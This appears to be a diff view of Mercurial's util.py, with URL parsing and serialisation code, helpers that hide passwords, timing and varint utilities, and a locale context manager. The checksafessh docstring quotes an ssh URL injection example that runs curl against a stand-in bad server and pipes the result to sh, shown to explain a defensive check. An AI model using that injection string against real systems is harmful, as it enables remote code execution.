3118 for a in (
3118 b'scheme',
3119 b'scheme',
3119 b'user',
3120 b'user',
3120 b'passwd',
3121 b'passwd',
3121 b'host',
3122 b'host',
3122 b'port',
3123 b'port',
3123 b'path',
3124 b'path',
3124 b'query',
3125 b'query',
3125 b'fragment',
3126 b'fragment',
3126 ):
3127 ):
3127 v = getattr(self, a)
3128 v = getattr(self, a)
3128 if v is not None:
3129 if v is not None:
3129 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3130 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3130 return b'<url %s>' % b', '.join(attrs)
3131 return b'<url %s>' % b', '.join(attrs)
3131
3132
3132 def __bytes__(self):
3133 def __bytes__(self):
3133 r"""Join the URL's components back into a URL string.
3134 r"""Join the URL's components back into a URL string.
3134
3135
3135 Examples:
3136 Examples:
3136
3137
3137 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3138 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3138 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3139 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3139 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3140 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3140 'http://user:pw@host:80/?foo=bar&baz=42'
3141 'http://user:pw@host:80/?foo=bar&baz=42'
3141 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3142 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3142 'http://user:pw@host:80/?foo=bar%3dbaz'
3143 'http://user:pw@host:80/?foo=bar%3dbaz'
3143 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3144 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3144 'ssh://user:pw@[::1]:2200//home/joe#'
3145 'ssh://user:pw@[::1]:2200//home/joe#'
3145 >>> bytes(url(b'http://localhost:80//'))
3146 >>> bytes(url(b'http://localhost:80//'))
3146 'http://localhost:80//'
3147 'http://localhost:80//'
3147 >>> bytes(url(b'http://localhost:80/'))
3148 >>> bytes(url(b'http://localhost:80/'))
3148 'http://localhost:80/'
3149 'http://localhost:80/'
3149 >>> bytes(url(b'http://localhost:80'))
3150 >>> bytes(url(b'http://localhost:80'))
3150 'http://localhost:80/'
3151 'http://localhost:80/'
3151 >>> bytes(url(b'bundle:foo'))
3152 >>> bytes(url(b'bundle:foo'))
3152 'bundle:foo'
3153 'bundle:foo'
3153 >>> bytes(url(b'bundle://../foo'))
3154 >>> bytes(url(b'bundle://../foo'))
3154 'bundle:../foo'
3155 'bundle:../foo'
3155 >>> bytes(url(b'path'))
3156 >>> bytes(url(b'path'))
3156 'path'
3157 'path'
3157 >>> bytes(url(b'file:///tmp/foo/bar'))
3158 >>> bytes(url(b'file:///tmp/foo/bar'))
3158 'file:///tmp/foo/bar'
3159 'file:///tmp/foo/bar'
3159 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3160 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3160 'file:///c:/tmp/foo/bar'
3161 'file:///c:/tmp/foo/bar'
3161 >>> print(url(br'bundle:foo\bar'))
3162 >>> print(url(br'bundle:foo\bar'))
3162 bundle:foo\bar
3163 bundle:foo\bar
3163 >>> print(url(br'file:///D:\data\hg'))
3164 >>> print(url(br'file:///D:\data\hg'))
3164 file:///D:\data\hg
3165 file:///D:\data\hg
3165 """
3166 """
3166 if self._localpath:
3167 if self._localpath:
3167 s = self.path
3168 s = self.path
3168 if self.scheme == b'bundle':
3169 if self.scheme == b'bundle':
3169 s = b'bundle:' + s
3170 s = b'bundle:' + s
3170 if self.fragment:
3171 if self.fragment:
3171 s += b'#' + self.fragment
3172 s += b'#' + self.fragment
3172 return s
3173 return s
3173
3174
3174 s = self.scheme + b':'
3175 s = self.scheme + b':'
3175 if self.user or self.passwd or self.host:
3176 if self.user or self.passwd or self.host:
3176 s += b'//'
3177 s += b'//'
3177 elif self.scheme and (
3178 elif self.scheme and (
3178 not self.path
3179 not self.path
3179 or self.path.startswith(b'/')
3180 or self.path.startswith(b'/')
3180 or hasdriveletter(self.path)
3181 or hasdriveletter(self.path)
3181 ):
3182 ):
3182 s += b'//'
3183 s += b'//'
3183 if hasdriveletter(self.path):
3184 if hasdriveletter(self.path):
3184 s += b'/'
3185 s += b'/'
3185 if self.user:
3186 if self.user:
3186 s += urlreq.quote(self.user, safe=self._safechars)
3187 s += urlreq.quote(self.user, safe=self._safechars)
3187 if self.passwd:
3188 if self.passwd:
3188 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3189 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3189 if self.user or self.passwd:
3190 if self.user or self.passwd:
3190 s += b'@'
3191 s += b'@'
3191 if self.host:
3192 if self.host:
3192 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3193 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3193 s += urlreq.quote(self.host)
3194 s += urlreq.quote(self.host)
3194 else:
3195 else:
3195 s += self.host
3196 s += self.host
3196 if self.port:
3197 if self.port:
3197 s += b':' + urlreq.quote(self.port)
3198 s += b':' + urlreq.quote(self.port)
3198 if self.host:
3199 if self.host:
3199 s += b'/'
3200 s += b'/'
3200 if self.path:
3201 if self.path:
3201 # TODO: similar to the query string, we should not unescape the
3202 # TODO: similar to the query string, we should not unescape the
3202 # path when we store it, the path might contain '%2f' = '/',
3203 # path when we store it, the path might contain '%2f' = '/',
3203 # which we should *not* escape.
3204 # which we should *not* escape.
3204 s += urlreq.quote(self.path, safe=self._safepchars)
3205 s += urlreq.quote(self.path, safe=self._safepchars)
3205 if self.query:
3206 if self.query:
3206 # we store the query in escaped form.
3207 # we store the query in escaped form.
3207 s += b'?' + self.query
3208 s += b'?' + self.query
3208 if self.fragment is not None:
3209 if self.fragment is not None:
3209 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3210 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3210 return s
3211 return s
3211
3212
3212 __str__ = encoding.strmethod(__bytes__)
3213 __str__ = encoding.strmethod(__bytes__)
3213
3214
3214 def authinfo(self):
3215 def authinfo(self):
3215 user, passwd = self.user, self.passwd
3216 user, passwd = self.user, self.passwd
3216 try:
3217 try:
3217 self.user, self.passwd = None, None
3218 self.user, self.passwd = None, None
3218 s = bytes(self)
3219 s = bytes(self)
3219 finally:
3220 finally:
3220 self.user, self.passwd = user, passwd
3221 self.user, self.passwd = user, passwd
3221 if not self.user:
3222 if not self.user:
3222 return (s, None)
3223 return (s, None)
3223 # authinfo[1] is passed to urllib2 password manager, and its
3224 # authinfo[1] is passed to urllib2 password manager, and its
3224 # URIs must not contain credentials. The host is passed in the
3225 # URIs must not contain credentials. The host is passed in the
3225 # URIs list because Python < 2.4.3 uses only that to search for
3226 # URIs list because Python < 2.4.3 uses only that to search for
3226 # a password.
3227 # a password.
3227 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3228 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3228
3229
3229 def isabs(self):
3230 def isabs(self):
3230 if self.scheme and self.scheme != b'file':
3231 if self.scheme and self.scheme != b'file':
3231 return True # remote URL
3232 return True # remote URL
3232 if hasdriveletter(self.path):
3233 if hasdriveletter(self.path):
3233 return True # absolute for our purposes - can't be joined()
3234 return True # absolute for our purposes - can't be joined()
3234 if self.path.startswith(br'\\'):
3235 if self.path.startswith(br'\\'):
3235 return True # Windows UNC path
3236 return True # Windows UNC path
3236 if self.path.startswith(b'/'):
3237 if self.path.startswith(b'/'):
3237 return True # POSIX-style
3238 return True # POSIX-style
3238 return False
3239 return False
3239
3240
3240 def localpath(self):
3241 def localpath(self):
3241 if self.scheme == b'file' or self.scheme == b'bundle':
3242 if self.scheme == b'file' or self.scheme == b'bundle':
3242 path = self.path or b'/'
3243 path = self.path or b'/'
3243 # For Windows, we need to promote hosts containing drive
3244 # For Windows, we need to promote hosts containing drive
3244 # letters to paths with drive letters.
3245 # letters to paths with drive letters.
3245 if hasdriveletter(self._hostport):
3246 if hasdriveletter(self._hostport):
3246 path = self._hostport + b'/' + self.path
3247 path = self._hostport + b'/' + self.path
3247 elif (
3248 elif (
3248 self.host is not None and self.path and not hasdriveletter(path)
3249 self.host is not None and self.path and not hasdriveletter(path)
3249 ):
3250 ):
3250 path = b'/' + path
3251 path = b'/' + path
3251 return path
3252 return path
3252 return self._origpath
3253 return self._origpath
3253
3254
3254 def islocal(self):
3255 def islocal(self):
3255 '''whether localpath will return something that posixfile can open'''
3256 '''whether localpath will return something that posixfile can open'''
3256 return (
3257 return (
3257 not self.scheme
3258 not self.scheme
3258 or self.scheme == b'file'
3259 or self.scheme == b'file'
3259 or self.scheme == b'bundle'
3260 or self.scheme == b'bundle'
3260 )
3261 )
3261
3262
3262
3263
3263 def hasscheme(path):
3264 def hasscheme(path):
3264 return bool(url(path).scheme)
3265 return bool(url(path).scheme)
3265
3266
3266
3267
3267 def hasdriveletter(path):
3268 def hasdriveletter(path):
3268 return path and path[1:2] == b':' and path[0:1].isalpha()
3269 return path and path[1:2] == b':' and path[0:1].isalpha()
3269
3270
3270
3271
3271 def urllocalpath(path):
3272 def urllocalpath(path):
3272 return url(path, parsequery=False, parsefragment=False).localpath()
3273 return url(path, parsequery=False, parsefragment=False).localpath()
3273
3274
3274
3275
3275 def checksafessh(path):
3276 def checksafessh(path):
3276 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3277 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3277
3278
3278 This is a sanity check for ssh urls. ssh will parse the first item as
3279 This is a sanity check for ssh urls. ssh will parse the first item as
3279 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3280 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3280 Let's prevent these potentially exploited urls entirely and warn the
3281 Let's prevent these potentially exploited urls entirely and warn the
3281 user.
3282 user.
3282
3283
3283 Raises an error.Abort when the url is unsafe.
3284 Raises an error.Abort when the url is unsafe.
3284 """
3285 """
3285 path = urlreq.unquote(path)
3286 path = urlreq.unquote(path)
3286 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3287 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3287 raise error.Abort(
3288 raise error.Abort(
3288 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3289 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3289 )
3290 )
3290
3291
3291
3292
3292 def hidepassword(u):
3293 def hidepassword(u):
3293 '''hide user credential in a url string'''
3294 '''hide user credential in a url string'''
3294 u = url(u)
3295 u = url(u)
3295 if u.passwd:
3296 if u.passwd:
3296 u.passwd = b'***'
3297 u.passwd = b'***'
3297 return bytes(u)
3298 return bytes(u)
3298
3299
3299
3300
3300 def removeauth(u):
3301 def removeauth(u):
3301 '''remove all authentication information from a url string'''
3302 '''remove all authentication information from a url string'''
3302 u = url(u)
3303 u = url(u)
3303 u.user = u.passwd = None
3304 u.user = u.passwd = None
3304 return bytes(u)
3305 return bytes(u)
3305
3306
3306
3307
3307 timecount = unitcountfn(
3308 timecount = unitcountfn(
3308 (1, 1e3, _(b'%.0f s')),
3309 (1, 1e3, _(b'%.0f s')),
3309 (100, 1, _(b'%.1f s')),
3310 (100, 1, _(b'%.1f s')),
3310 (10, 1, _(b'%.2f s')),
3311 (10, 1, _(b'%.2f s')),
3311 (1, 1, _(b'%.3f s')),
3312 (1, 1, _(b'%.3f s')),
3312 (100, 0.001, _(b'%.1f ms')),
3313 (100, 0.001, _(b'%.1f ms')),
3313 (10, 0.001, _(b'%.2f ms')),
3314 (10, 0.001, _(b'%.2f ms')),
3314 (1, 0.001, _(b'%.3f ms')),
3315 (1, 0.001, _(b'%.3f ms')),
3315 (100, 0.000001, _(b'%.1f us')),
3316 (100, 0.000001, _(b'%.1f us')),
3316 (10, 0.000001, _(b'%.2f us')),
3317 (10, 0.000001, _(b'%.2f us')),
3317 (1, 0.000001, _(b'%.3f us')),
3318 (1, 0.000001, _(b'%.3f us')),
3318 (100, 0.000000001, _(b'%.1f ns')),
3319 (100, 0.000000001, _(b'%.1f ns')),
3319 (10, 0.000000001, _(b'%.2f ns')),
3320 (10, 0.000000001, _(b'%.2f ns')),
3320 (1, 0.000000001, _(b'%.3f ns')),
3321 (1, 0.000000001, _(b'%.3f ns')),
3321 )
3322 )
3322
3323
3323
3324
3324 @attr.s
3325 @attr.s
3325 class timedcmstats(object):
3326 class timedcmstats(object):
3326 """Stats information produced by the timedcm context manager on entering."""
3327 """Stats information produced by the timedcm context manager on entering."""
3327
3328
3328 # the starting value of the timer as a float (meaning and resulution is
3329 # the starting value of the timer as a float (meaning and resulution is
3329 # platform dependent, see util.timer)
3330 # platform dependent, see util.timer)
3330 start = attr.ib(default=attr.Factory(lambda: timer()))
3331 start = attr.ib(default=attr.Factory(lambda: timer()))
3331 # the number of seconds as a floating point value; starts at 0, updated when
3332 # the number of seconds as a floating point value; starts at 0, updated when
3332 # the context is exited.
3333 # the context is exited.
3333 elapsed = attr.ib(default=0)
3334 elapsed = attr.ib(default=0)
3334 # the number of nested timedcm context managers.
3335 # the number of nested timedcm context managers.
3335 level = attr.ib(default=1)
3336 level = attr.ib(default=1)
3336
3337
3337 def __bytes__(self):
3338 def __bytes__(self):
3338 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3339 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3339
3340
3340 __str__ = encoding.strmethod(__bytes__)
3341 __str__ = encoding.strmethod(__bytes__)
3341
3342
3342
3343
3343 @contextlib.contextmanager
3344 @contextlib.contextmanager
3344 def timedcm(whencefmt, *whenceargs):
3345 def timedcm(whencefmt, *whenceargs):
3345 """A context manager that produces timing information for a given context.
3346 """A context manager that produces timing information for a given context.
3346
3347
3347 On entering a timedcmstats instance is produced.
3348 On entering a timedcmstats instance is produced.
3348
3349
3349 This context manager is reentrant.
3350 This context manager is reentrant.
3350
3351
3351 """
3352 """
3352 # track nested context managers
3353 # track nested context managers
3353 timedcm._nested += 1
3354 timedcm._nested += 1
3354 timing_stats = timedcmstats(level=timedcm._nested)
3355 timing_stats = timedcmstats(level=timedcm._nested)
3355 try:
3356 try:
3356 with tracing.log(whencefmt, *whenceargs):
3357 with tracing.log(whencefmt, *whenceargs):
3357 yield timing_stats
3358 yield timing_stats
3358 finally:
3359 finally:
3359 timing_stats.elapsed = timer() - timing_stats.start
3360 timing_stats.elapsed = timer() - timing_stats.start
3360 timedcm._nested -= 1
3361 timedcm._nested -= 1
3361
3362
3362
3363
3363 timedcm._nested = 0
3364 timedcm._nested = 0
3364
3365
3365
3366
3366 def timed(func):
3367 def timed(func):
3367 '''Report the execution time of a function call to stderr.
3368 '''Report the execution time of a function call to stderr.
3368
3369
3369 During development, use as a decorator when you need to measure
3370 During development, use as a decorator when you need to measure
3370 the cost of a function, e.g. as follows:
3371 the cost of a function, e.g. as follows:
3371
3372
3372 @util.timed
3373 @util.timed
3373 def foo(a, b, c):
3374 def foo(a, b, c):
3374 pass
3375 pass
3375 '''
3376 '''
3376
3377
3377 def wrapper(*args, **kwargs):
3378 def wrapper(*args, **kwargs):
3378 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3379 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3379 result = func(*args, **kwargs)
3380 result = func(*args, **kwargs)
3380 stderr = procutil.stderr
3381 stderr = procutil.stderr
3381 stderr.write(
3382 stderr.write(
3382 b'%s%s: %s\n'
3383 b'%s%s: %s\n'
3383 % (
3384 % (
3384 b' ' * time_stats.level * 2,
3385 b' ' * time_stats.level * 2,
3385 pycompat.bytestr(func.__name__),
3386 pycompat.bytestr(func.__name__),
3386 time_stats,
3387 time_stats,
3387 )
3388 )
3388 )
3389 )
3389 return result
3390 return result
3390
3391
3391 return wrapper
3392 return wrapper
3392
3393
3393
3394
3394 _sizeunits = (
3395 _sizeunits = (
3395 (b'm', 2 ** 20),
3396 (b'm', 2 ** 20),
3396 (b'k', 2 ** 10),
3397 (b'k', 2 ** 10),
3397 (b'g', 2 ** 30),
3398 (b'g', 2 ** 30),
3398 (b'kb', 2 ** 10),
3399 (b'kb', 2 ** 10),
3399 (b'mb', 2 ** 20),
3400 (b'mb', 2 ** 20),
3400 (b'gb', 2 ** 30),
3401 (b'gb', 2 ** 30),
3401 (b'b', 1),
3402 (b'b', 1),
3402 )
3403 )
3403
3404
3404
3405
3405 def sizetoint(s):
3406 def sizetoint(s):
3406 '''Convert a space specifier to a byte count.
3407 '''Convert a space specifier to a byte count.
3407
3408
3408 >>> sizetoint(b'30')
3409 >>> sizetoint(b'30')
3409 30
3410 30
3410 >>> sizetoint(b'2.2kb')
3411 >>> sizetoint(b'2.2kb')
3411 2252
3412 2252
3412 >>> sizetoint(b'6M')
3413 >>> sizetoint(b'6M')
3413 6291456
3414 6291456
3414 '''
3415 '''
3415 t = s.strip().lower()
3416 t = s.strip().lower()
3416 try:
3417 try:
3417 for k, u in _sizeunits:
3418 for k, u in _sizeunits:
3418 if t.endswith(k):
3419 if t.endswith(k):
3419 return int(float(t[: -len(k)]) * u)
3420 return int(float(t[: -len(k)]) * u)
3420 return int(t)
3421 return int(t)
3421 except ValueError:
3422 except ValueError:
3422 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3423 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3423
3424
3424
3425
3425 class hooks(object):
3426 class hooks(object):
3426 '''A collection of hook functions that can be used to extend a
3427 '''A collection of hook functions that can be used to extend a
3427 function's behavior. Hooks are called in lexicographic order,
3428 function's behavior. Hooks are called in lexicographic order,
3428 based on the names of their sources.'''
3429 based on the names of their sources.'''
3429
3430
3430 def __init__(self):
3431 def __init__(self):
3431 self._hooks = []
3432 self._hooks = []
3432
3433
3433 def add(self, source, hook):
3434 def add(self, source, hook):
3434 self._hooks.append((source, hook))
3435 self._hooks.append((source, hook))
3435
3436
3436 def __call__(self, *args):
3437 def __call__(self, *args):
3437 self._hooks.sort(key=lambda x: x[0])
3438 self._hooks.sort(key=lambda x: x[0])
3438 results = []
3439 results = []
3439 for source, hook in self._hooks:
3440 for source, hook in self._hooks:
3440 results.append(hook(*args))
3441 results.append(hook(*args))
3441 return results
3442 return results
3442
3443
3443
3444
3444 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3445 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3445 '''Yields lines for a nicely formatted stacktrace.
3446 '''Yields lines for a nicely formatted stacktrace.
3446 Skips the 'skip' last entries, then return the last 'depth' entries.
3447 Skips the 'skip' last entries, then return the last 'depth' entries.
3447 Each file+linenumber is formatted according to fileline.
3448 Each file+linenumber is formatted according to fileline.
3448 Each line is formatted according to line.
3449 Each line is formatted according to line.
3449 If line is None, it yields:
3450 If line is None, it yields:
3450 length of longest filepath+line number,
3451 length of longest filepath+line number,
3451 filepath+linenumber,
3452 filepath+linenumber,
3452 function
3453 function
3453
3454
3454 Not be used in production code but very convenient while developing.
3455 Not be used in production code but very convenient while developing.
3455 '''
3456 '''
3456 entries = [
3457 entries = [
3457 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3458 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3458 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3459 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3459 ][-depth:]
3460 ][-depth:]
3460 if entries:
3461 if entries:
3461 fnmax = max(len(entry[0]) for entry in entries)
3462 fnmax = max(len(entry[0]) for entry in entries)
3462 for fnln, func in entries:
3463 for fnln, func in entries:
3463 if line is None:
3464 if line is None:
3464 yield (fnmax, fnln, func)
3465 yield (fnmax, fnln, func)
3465 else:
3466 else:
3466 yield line % (fnmax, fnln, func)
3467 yield line % (fnmax, fnln, func)
3467
3468
3468
3469
3469 def debugstacktrace(
3470 def debugstacktrace(
3470 msg=b'stacktrace',
3471 msg=b'stacktrace',
3471 skip=0,
3472 skip=0,
3472 f=procutil.stderr,
3473 f=procutil.stderr,
3473 otherf=procutil.stdout,
3474 otherf=procutil.stdout,
3474 depth=0,
3475 depth=0,
3475 prefix=b'',
3476 prefix=b'',
3476 ):
3477 ):
3477 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3478 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3478 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3479 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3479 By default it will flush stdout first.
3480 By default it will flush stdout first.
3480 It can be used everywhere and intentionally does not require an ui object.
3481 It can be used everywhere and intentionally does not require an ui object.
3481 Not be used in production code but very convenient while developing.
3482 Not be used in production code but very convenient while developing.
3482 '''
3483 '''
3483 if otherf:
3484 if otherf:
3484 otherf.flush()
3485 otherf.flush()
3485 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3486 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3486 for line in getstackframes(skip + 1, depth=depth):
3487 for line in getstackframes(skip + 1, depth=depth):
3487 f.write(prefix + line)
3488 f.write(prefix + line)
3488 f.flush()
3489 f.flush()
3489
3490
3490
3491
3491 # convenient shortcut
3492 # convenient shortcut
3492 dst = debugstacktrace
3493 dst = debugstacktrace
3493
3494
3494
3495
3495 def safename(f, tag, ctx, others=None):
3496 def safename(f, tag, ctx, others=None):
3496 """
3497 """
3497 Generate a name that it is safe to rename f to in the given context.
3498 Generate a name that it is safe to rename f to in the given context.
3498
3499
3499 f: filename to rename
3500 f: filename to rename
3500 tag: a string tag that will be included in the new name
3501 tag: a string tag that will be included in the new name
3501 ctx: a context, in which the new name must not exist
3502 ctx: a context, in which the new name must not exist
3502 others: a set of other filenames that the new name must not be in
3503 others: a set of other filenames that the new name must not be in
3503
3504
3504 Returns a file name of the form oldname~tag[~number] which does not exist
3505 Returns a file name of the form oldname~tag[~number] which does not exist
3505 in the provided context and is not in the set of other names.
3506 in the provided context and is not in the set of other names.
3506 """
3507 """
3507 if others is None:
3508 if others is None:
3508 others = set()
3509 others = set()
3509
3510
3510 fn = b'%s~%s' % (f, tag)
3511 fn = b'%s~%s' % (f, tag)
3511 if fn not in ctx and fn not in others:
3512 if fn not in ctx and fn not in others:
3512 return fn
3513 return fn
3513 for n in itertools.count(1):
3514 for n in itertools.count(1):
3514 fn = b'%s~%s~%s' % (f, tag, n)
3515 fn = b'%s~%s~%s' % (f, tag, n)
3515 if fn not in ctx and fn not in others:
3516 if fn not in ctx and fn not in others:
3516 return fn
3517 return fn
3517
3518
3518
3519
3519 def readexactly(stream, n):
3520 def readexactly(stream, n):
3520 '''read n bytes from stream.read and abort if less was available'''
3521 '''read n bytes from stream.read and abort if less was available'''
3521 s = stream.read(n)
3522 s = stream.read(n)
3522 if len(s) < n:
3523 if len(s) < n:
3523 raise error.Abort(
3524 raise error.Abort(
3524 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3525 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3525 % (len(s), n)
3526 % (len(s), n)
3526 )
3527 )
3527 return s
3528 return s
3528
3529
3529
3530
3530 def uvarintencode(value):
3531 def uvarintencode(value):
3531 """Encode an unsigned integer value to a varint.
3532 """Encode an unsigned integer value to a varint.
3532
3533
3533 A varint is a variable length integer of 1 or more bytes. Each byte
3534 A varint is a variable length integer of 1 or more bytes. Each byte
3534 except the last has the most significant bit set. The lower 7 bits of
3535 except the last has the most significant bit set. The lower 7 bits of
3535 each byte store the 2's complement representation, least significant group
3536 each byte store the 2's complement representation, least significant group
3536 first.
3537 first.
3537
3538
3538 >>> uvarintencode(0)
3539 >>> uvarintencode(0)
3539 '\\x00'
3540 '\\x00'
3540 >>> uvarintencode(1)
3541 >>> uvarintencode(1)
3541 '\\x01'
3542 '\\x01'
3542 >>> uvarintencode(127)
3543 >>> uvarintencode(127)
3543 '\\x7f'
3544 '\\x7f'
3544 >>> uvarintencode(1337)
3545 >>> uvarintencode(1337)
3545 '\\xb9\\n'
3546 '\\xb9\\n'
3546 >>> uvarintencode(65536)
3547 >>> uvarintencode(65536)
3547 '\\x80\\x80\\x04'
3548 '\\x80\\x80\\x04'
3548 >>> uvarintencode(-1)
3549 >>> uvarintencode(-1)
3549 Traceback (most recent call last):
3550 Traceback (most recent call last):
3550 ...
3551 ...
3551 ProgrammingError: negative value for uvarint: -1
3552 ProgrammingError: negative value for uvarint: -1
3552 """
3553 """
3553 if value < 0:
3554 if value < 0:
3554 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3555 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3555 bits = value & 0x7F
3556 bits = value & 0x7F
3556 value >>= 7
3557 value >>= 7
3557 bytes = []
3558 bytes = []
3558 while value:
3559 while value:
3559 bytes.append(pycompat.bytechr(0x80 | bits))
3560 bytes.append(pycompat.bytechr(0x80 | bits))
3560 bits = value & 0x7F
3561 bits = value & 0x7F
3561 value >>= 7
3562 value >>= 7
3562 bytes.append(pycompat.bytechr(bits))
3563 bytes.append(pycompat.bytechr(bits))
3563
3564
3564 return b''.join(bytes)
3565 return b''.join(bytes)
3565
3566
3566
3567
3567 def uvarintdecodestream(fh):
3568 def uvarintdecodestream(fh):
3568 """Decode an unsigned variable length integer from a stream.
3569 """Decode an unsigned variable length integer from a stream.
3569
3570
3570 The passed argument is anything that has a ``.read(N)`` method.
3571 The passed argument is anything that has a ``.read(N)`` method.
3571
3572
3572 >>> try:
3573 >>> try:
3573 ... from StringIO import StringIO as BytesIO
3574 ... from StringIO import StringIO as BytesIO
3574 ... except ImportError:
3575 ... except ImportError:
3575 ... from io import BytesIO
3576 ... from io import BytesIO
3576 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3577 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3577 0
3578 0
3578 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3579 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3579 1
3580 1
3580 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3581 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3581 127
3582 127
3582 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3583 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3583 1337
3584 1337
3584 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3585 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3585 65536
3586 65536
3586 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3587 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3587 Traceback (most recent call last):
3588 Traceback (most recent call last):
3588 ...
3589 ...
3589 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3590 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3590 """
3591 """
3591 result = 0
3592 result = 0
3592 shift = 0
3593 shift = 0
3593 while True:
3594 while True:
3594 byte = ord(readexactly(fh, 1))
3595 byte = ord(readexactly(fh, 1))
3595 result |= (byte & 0x7F) << shift
3596 result |= (byte & 0x7F) << shift
3596 if not (byte & 0x80):
3597 if not (byte & 0x80):
3597 return result
3598 return result
3598 shift += 7
3599 shift += 7
3600
3601
3602 # Passing the '' locale means that the locale should be set according to the
3603 # user settings (environment variables).
3604 # Python sometimes avoids setting the global locale settings. When interfacing
3605 # with C code (e.g. the curses module or the Subversion bindings), the global
3606 # locale settings must be initialized correctly. Python 2 does not initialize
3607 # the global locale settings on interpreter startup. Python 3 sometimes
3608 # initializes LC_CTYPE, but not consistently at least on Windows. Therefore we
3609 # explicitly initialize it to get consistent behavior if it's not already
3610 # initialized. Since CPython commit 177d921c8c03d30daa32994362023f777624b10d,
3611 # LC_CTYPE is always initialized. If we require Python 3.8+, we should re-check
3612 # if we can remove this code.
3613 @contextlib.contextmanager
3614 def with_lc_ctype():
3615 oldloc = locale.setlocale(locale.LC_CTYPE, None)
3616 if oldloc == 'C':
3617 try:
3618 try:
3619 locale.setlocale(locale.LC_CTYPE, '')
3620 except locale.Error:
3621 # The likely case is that the locale from the environment
3622 # variables is unknown.
3623 pass
3624 yield
3625 finally:
3626 locale.setlocale(locale.LC_CTYPE, oldloc)
3627 else:
3628 yield
General Comments 0
You need to be logged in to leave comments. Login now